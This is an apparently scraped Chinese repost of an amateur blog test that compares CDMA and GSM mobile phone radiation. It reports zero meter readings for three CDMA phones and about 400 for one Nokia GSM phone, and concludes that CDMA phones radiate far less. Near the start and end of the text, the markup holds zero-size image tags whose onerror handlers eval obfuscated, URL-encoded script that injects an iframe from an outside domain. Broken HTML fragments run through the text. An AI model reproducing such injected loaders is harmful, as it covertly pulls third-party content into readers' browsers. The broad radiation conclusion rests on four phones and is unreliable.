亲自测试:CDMA和GSM手机辐射强度对比(组图) - 贵宾理财- attacks ...
亲自测试:CDMA和GSM手机辐射强度对比(组图) [转贴 2010-01-28 18:24:45]   
亲自测试:CDMA和GSM手机辐射强度对比(组图)

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

一直都听说,CDMA手机辐射小,GSM手机相比辐射更大一些,也只是听说,没有机会测试。这里所说的CDMA就是指电信的CDMA1X网络,语音通话时所用网络。

实际很早就做的测试了,图片日期是好几个月前的了。没忙得过来写这篇简短的测试报告。今天整理文件时才发现这些素材,于是就利用休息写一下。

仪器:辐射测试仪一台,型号QX-3,测试频宽5Hz-5000MHz,分辨率1μW/cm2,感应轴为单轴,准确度±10%,响应时间0.5秒,电气绝缘交流3000V,10分钟无泄漏电流,研发单位中国辐射防护研究院;

手机:C网:多普达 S500;华为 2906;三星S189;G网:诺基亚 3100。

本人不是卖手机的,所以能测试的机器不算多,都是手里能马上收集到的,一台xx机器(目前应该不算了),其余的都是低端机器。别说低端机器质量差,辐射 就大,当然这个有一定道理,但是好歹我测试的机器是品牌机,非山寨机也。因为辐射取决于手机的设计,与网络密切相关,什么网络就决定了辐射的基本范围。

测试过程为:将手机拨号,使其为通话状态,此刻来使用辐射测试仪测试手机周围辐射,已知辐射测试仪的接受部位在仪器的顶部,于是将测试仪顶部紧贴手机外 表共六个方位,将所得数值记下,我采用相机抓拍方式记录数值。因为手机的天线也都是设计在手机顶部的,所以按照下面图片测试的摆放方式基本能够得到真实的 数值。

废话不多说,开始上图。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://images.vvcat.com/newsimgs/20091102/200911021637530.jpg" onload=ResizeImage(this,520)>

华为2906,拨打电信10000号后,使用测试仪测试六个方位,仪器数值始终为0

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://images.vvcat.com/newsimgs/20091102/200911021638011.jpg" onload=ResizeImage(this,520)>

三星S189,同样是低端机器,拨打10000号测试结果,辐射测试仪显示始终为0

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://images.vvcat.com/newsimgs/20091102/200911021638022.jpg" onload=ResizeImage(this,520)>

来台xx机,多普达S500,拨打10000号,辐射测试仪始终读数为0

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://images.vvcat.com/newsimgs/20091102/200911021638023.jpg" onload=ResizeImage(this,520)>

换成G网机器,诺基亚3100,我大学期间使用的机器,已经退役,拨打移动10086号码,测试仪靠近天线部位{zg},取平均值约为400

手头没有更多的G网机器可以测试了。平时给客户测试他们自己的G网机器的时候,均能得到数值,有的G网机器竟然可以测出2000,但是有一次例外,一个 客户的诺基亚5800竟然也没有测出数值来,猜想这台机器可能在设计上比较良好,辐射屏蔽做的比较到位,充分考虑人体安全。

结论:经过 这个简单的测试,可以充分说明基于高通的CDMA网络的手机由于设计上的优势,普通C网手机辐射强度远远小于普通G网的手机。在此还要说明,上图中没有测 试出结果(即图片中测试结果显示为0)的手机并非说明没有辐射,而是辐射很小,低于测试仪的灵敏度,测试仪没能测试出结果而已。既然都要通信,都要产生无 线电波,没有辐射那是不可能的,只是辐射的高低大小而已。

经过这次测试,终于赶到了以前说C网机绿色环保,确实是有一定的依据的。

以上均为自己的看法,仅供参考!

原文地址:



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【亲自测试:CDMA和GSM手机辐射强度对比(组图) - 贵宾理财- attacks ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——